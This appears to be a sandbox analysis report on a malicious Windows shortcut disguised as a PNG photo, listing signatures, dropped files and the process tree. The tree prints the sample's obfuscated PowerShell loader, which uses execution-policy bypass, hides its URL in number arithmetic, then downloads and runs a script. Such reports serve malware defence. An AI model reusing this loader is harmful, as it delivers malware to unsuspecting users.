Analysis
- max time kernel
300s - max time network
300s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
20/07/2026, 02:25
General
- Target PHOTO-773628105.png.lnk
- Size 2KB
- Sample260720-cwgmlae19z
- SHA256 98250de10fea7ab2a259a548ee9546a7b60e83ea0f528a766696baf7928ad2c6
Malware Config
Extracted
-
ps1
-
exe.dropper
https://nodejs.org/dist/v26.4.0/node-v26.4.0-win-x64.zip
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Powershell Invoke Web Request.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 48 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-773628105.png.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$qbTKlmyY=[System.Numerics.BigInteger]\"94973154232580924984348791356\";$OkndmQM=[System.Numerics.BigInteger]\"60496486308243670107444997327\";$TsbpZg=$qbTKlmyY - $OkndmQM;for($SnLogbXp=100+156;$TsbpZg -ne 0;$TsbpZg=$TsbpZg / $SnLogbXp){$Q0i41qV=[int]($TsbpZg % $SnLogbXp);$f6dCJiFc+=[System.Convert]::ToChar($Q0i41qV);}; Invoke-WebRequest $f6dCJiFc -OutFile $env:TEMP\k5u1g.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\k5u1g.ps1"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\k5u1g.ps13⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nmyjdy3o\nmyjdy3o.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF562.tmp" "c:\Users\Admin\AppData\Local\Temp\nmyjdy3o\CSCEA8FBEE72CB44D7B53366F5282E6C2.TMP"5⤵
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
RESF562.tmp
k5u1g.ps1
nmyjdy3o.dll
CSCEA8FBEE72CB44D7B53366F5282E6C2.TMP
nmyjdy3o.0.cs
nmyjdy3o.cmdline
memory/776-30-0x0000024550DE0000-0x0000024550DE8000-memory.dmp
memory/3008-7-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp
memory/3008-8-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp
memory/3008-16-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp
memory/3008-15-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp
memory/3008-9-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp
memory/3008-11-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp
memory/3008-2-0x00007FFB9D94F000-0x00007FFB9D950000-memory.dmp
memory/3008-10-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp
memory/3008-31-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp
memory/3008-33-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp
memory/3008-3-0x0000021EE8F20000-0x0000021EE8F42000-memory.dmp
memory/3008-4-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp
memory/3008-39-0x00007FFB9D7C0000-0x00007FFB9E164000-memory.dmp